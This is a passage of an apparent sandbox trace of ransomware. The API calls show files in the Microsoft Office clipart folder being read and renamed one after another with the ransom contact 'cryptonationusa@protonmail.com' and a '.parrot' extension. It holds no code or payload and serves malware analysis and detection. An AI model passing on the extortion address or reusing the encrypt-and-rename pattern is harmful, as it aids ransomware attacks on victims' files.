"c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.488] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.488] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.490] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.490] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe04, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe04, lpOverlapped=0x0) returned 1 [0129.490] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.493] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.493] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.494] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.495] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8b4, lpOverlapped=0x0) returned 1 [0129.495] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.498] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.498] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.500] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.500] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8fc, lpOverlapped=0x0) returned 1 [0129.500] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.503] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.503] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.505] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.505] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8fc, lpOverlapped=0x0) returned 1 [0129.505] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.509] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.509] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.510] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.510] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x820, lpOverlapped=0x0) returned 1 [0129.510] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.514] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.514] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.515] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.515] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x820, lpOverlapped=0x0) returned 1 [0129.516] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.519] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.519] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.521] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.521] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7d4, lpOverlapped=0x0) returned 1 [0129.521] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.524] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.524] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.527] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.527] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7e4, lpOverlapped=0x0) returned 1 [0129.527] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.530] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.530] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.532] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.532] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x964, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x964, lpOverlapped=0x0) returned 1 [0129.532] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.535] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.535] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.537] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.537] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x804, lpOverlapped=0x0) returned 1 [0129.537] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.540] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.541] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.542] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.542] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8b8, lpOverlapped=0x0) returned 1 [0129.543] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.546] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.546] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.548] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.548] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x70c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x70c, lpOverlapped=0x0) returned 1 [0129.548] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.551] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.551] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.590] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.591] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x760, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x760, lpOverlapped=0x0) returned 1 [0129.591] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.595] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.595] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.596] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.597] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xed4, lpOverlapped=0x0) returned 1 [0129.597] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.597] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.600] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.600] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.603] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.603] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7e8, lpOverlapped=0x0) returned 1 [0129.604] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.604] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.607] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.607] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.609] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.609] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x824, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x824, lpOverlapped=0x0) returned 1 [0129.609] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.613] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.613] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.615] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.615] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5a8, lpOverlapped=0x0) returned 1 [0129.615] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.618] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.618] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.620] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.620] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbb4, lpOverlapped=0x0) returned 1 [0129.620] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft 